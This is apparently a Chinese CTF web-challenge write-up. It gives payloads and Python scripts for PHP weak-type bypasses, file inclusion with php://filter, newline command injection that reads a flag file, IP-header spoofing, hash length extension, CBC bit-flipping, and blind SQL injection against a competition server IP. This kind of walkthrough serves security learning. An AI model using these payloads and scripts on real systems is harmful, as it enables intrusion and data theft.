比较数字大小

F12 修改maxlength为4

web01

strcmp()函数遇到数组会返回NULL 而PHP是弱类型语言  在==比较的时候,如果有数值的话会先将字符串转换为数值在进行比较,而NULL转换成数值为0,所以绕过题目限制。

payload:  get: /?password[]=1

本地的诱惑

右键查看源代码即可。

你能跨过去吗?

复制callback参数内容 base64解码得到<script>alert("key:/%nsfocusXSStest%/")</script>  复制key的内容 提交得到flag;

一切都是套路

访问/index.php.txt得到源代码:

变量覆盖漏洞($$):

get: ?_200=flag

post: flag=x

你能绕过吗

更改f参数的内容发现会报错,猜测是文件包含漏洞

用php伪协议来读取flag.经过测试发现题目过滤了php 所以用PHP://filter/convert.base64-encode/resource=index,解码读到flag。

web02

burp截断 利用client-ip: 127.0.0.1修改客户端ip以欺骗服务器 得到flag。

请ping我的ip 看你能Ping通吗?

根据题目要求 ping 猜测是命令注入漏洞,过滤了; & |等特殊符号  利用%0a(换行)进行绕过

用  ls / 命令查看目录

最后在 /home目录下发现flag   payload: /?ip=127.0.0.1%0a cat /home/flag得到flag

Please give me username and password!

/index.php.txt 页面泄漏源代码,利用php弱类型进行绕过;

?username[]=0&password=1e9

SQL注入的艺术

点击个人信息页面,宽字节注入,可以盲注也可以联合查询注入。 当时写了个脚本盲注的。

import re
import requests cname = ''
flag = ''
url = 'http://118.190.152.202:8015/index.php?id=1%df'
payload = "' and ascii(substr(({p}),{m},1))={n}%23"
list = [64,94,96,124,176,40,41,48,49,50,51,52,53,54,55,56,57,173,175,95,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,44]
for i in range(1,46):
for ss in list:
p = payload.format(p='select group_concat(column_name) from information_schema.columns where table_name = 0x61646d696e73',m=i,n=ss)
u = requests.get(url+p)
if "head.jpg" in u.content:
cname += chr(ss)
print cname
break for i in range(1,23):
for l in list:
pp = payload.format(p='select flag from admins',m=i,n=l)
u = requests.get(url+pp)
if "head.jpg" in u.content:
flag += chr(l)
print flag
break

  

试试看

/show.php?img=1.jpg  复制图片地址  文件包含漏洞。

由于不包含.jpg文件提示File not found! resource可以包含两个文件 所以绕过

payload:  php://filter/convert.base64-encode/resource=../flag.php|1.jpg 查看源代码得到flag。

Collide

直接给出源代码,由于key的值不知道 但是我们知道key的 长度为46,利用hash长度扩展攻击

编码后的username:  guest%80%00%00%00%00%98%01%00%00%00%00%00%00admin

用hashdump求出md5值 5f585093a7fe86971766c3d25c43d0eb

Only admin can see flag

cbc字节翻转攻击

/index.txt看到源代码 搜了一下 发现cbc字节翻转攻击 附带脚本。

import urllib
import base64
#a:2:{s:8:"userna
#me";s:5:"admiN";
#s:8:"password";s
#:6:"123456";}
cipher=base64.b64decode(urllib.unquote("uA900LR7DpuWKx7K5GyvwtBhhc4Q9OVGMoXMYfIxo4lw8qgJmlbjELEU%2FeOWSGR31Zyi8BkxJ4knpng7j4sMUQ%3D%3D"))
iv=base64.b64decode(urllib.unquote("9qcxkpyvwymnvOp49F2Uvg%3D%3D"))
newcipher=cipher[0:13]+chr(ord(cipher[13])^ord('N')^ord('n'))+cipher[14:]
print urllib.quote(base64.b64encode(newcipher)) jiamingwen=base64.b64decode(urllib.unquote('twZ92UO5Kx1ne5hEeGTCum1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ=='))
mingwen = 'a:2:{s:8:"userna'
newiv = ''
for i in range(0,16):
newiv += chr(ord(mingwen[i])^ord(jiamingwen[i])^ord(iv[i]))
print urllib.quote(base64.b64encode(newiv))

  

先用admiN 123456登录

在地址栏处回车(不要刷新,否则cipher 和iv会刷新)并用burp抓包。

将iv 和 cipher放入脚本中 得到新的 cipher 修改cookie中的 cipher 得到报错信息中的 cipher。

复制报错信息中的cipher到脚本中 运行得到新的iv  修改iv为新的iv 且cipher为第一次脚本运行得到的cipher。得到flag;

为什么这么简单啊

根据提示利用 xff ip地址伪造和referer 即可进入第二关。

右键查看源码,发现可疑js文件,浏览找到密码 base64解码 提交得到flag。

ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAHAAYQBzAHMAdwBvAHIAZAA6AHgAaQBuAHkAaQBqAGkALgBjAG8AbQAiACkAPAAvAHMAYwByAGkAcAB0AD4
解码得到: xinyiji.com

php是世界上最好的语言

用户名随便输 ,密码用php弱类型进行绕过 :QNKCDZO(可以看我之前写过的php知识点总结)

点击得到

利用全局变量打印出$flag变量即可。

Sqli

题目说的很明确 就是注入了。经过测试发现是盲注 于是写了个脚本跑出密码登录。

解密: u4g009

提示在另一个字段,(真他妈坑啊),这里直接联合查询注入就可以了。

顺便附上我写的垃圾盲注脚本

import requests

tname = ''
pwd = ''
url = 'http://118.190.152.202:8011/index.php'
payload = "admin' and ascii(substr(({s}),{m},1))={n}#"
fuzz = ('0123456789,abcdefghijklmnopqrstuvwxyz') # for i in range(1,10):
# for k in fuzz:
# p = payload.format(s='select group_concat(table_name) from information_schema.tables where table_schema = database()',m=i,n=ord(k))
# u = requests.post(url,data = {'username':p,'password':'admin'})
# if 'normal' in u.content:
# tname += k
# print tname
# break for i in range(1,33):
for k in fuzz:
p = payload.format(s="select group_concat(pass) from user",m=i,n=ord(k))
u = requests.post(url,data = {'username':p,'password':'admin'})
if 'normal' in u.content:
pwd += k
print pwd
break

有种你来绕


根据提示,是mysql的数据库,利用mysql的特性--隐式类型转换,进行盲注得到密码。

写了个脚本跑出密码登录。

import requests

url = "http://118.190.152.202:8019/login.php"
payload = "1'-(ascii(mid((passwd)from({0})))={1})-'"
password = ''
fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789' for i in range(1,33):
for k in fuzz:
p = payload.format(i,ord(k))
u = requests.post(url,data = {'uname':p,'passwd':'admin'})
if not 'username' in u.content:
password += k
print password

解密: nishishabi1438  (我他妈想打死傻逼出题人)

输入flag,执行即可。

web400 Only Admin 是cookie注入,但是自己没怎么看,等其他师傅分享wp再学习一波吧。

最新文章

  1. Excel 中单元格和范围的引用(即访问的表示方法)
  2. 1014 C语言文法
  3. BZOJ 3159决战
  4. 在Ogre中加载自己的资源包
  5. sql server 查找字段上的约束
  6. Learning WCF Chapter2 WCF Contracts and Serialization
  7. [zencart教程]zencart外贸建站仿站交流俱乐部
  8. php_Symfony_项目实战全过程记录
  9. React 国际化
  10. socket 编程--sockaddr与sockaddr_in区别与联系(转)
  11. Go笔记-map
  12. 教你正确打开async/await关键字的使用
  13. FC105 FC106 Scale功能块使用说明
  14. pip install torch on windows, and the &#39;from torch._C import * ImportError: DLL load failed:&#39; solution
  15. 阿里技术分享:阿里自研金融级数据库OceanBase的艰辛成长之路
  16. Javascript高级编程学习笔记(52)—— DOM2和DOM3(4)元素大小
  17. mybatis 根据参数映射对应模型
  18. HTML 中点击&lt;a&gt;标签,页面跳转执行过程
  19. 开发框架-.Net:Learun(力软敏捷开发)
  20. Protocol Buffer 序列化原理大揭秘 - 为什么Protocol Buffer性能这么好?

热门文章

  1. HTTP基础--请求
  2. 赫然:Windows Live Writer 批量博客更新软件使用教程
  3. Laravel Facade原理及使用
  4. Python 编程开发 实用经验和技巧
  5. Rakefile
  6. 简单介绍HTML5 Landmark
  7. JS中写继承的方式
  8. 2申请高德地图key 初始化地图
  9. 跟着兄弟连系统学习Linux-【day07】
  10. 跟着兄弟连系统学习Linux-【day04】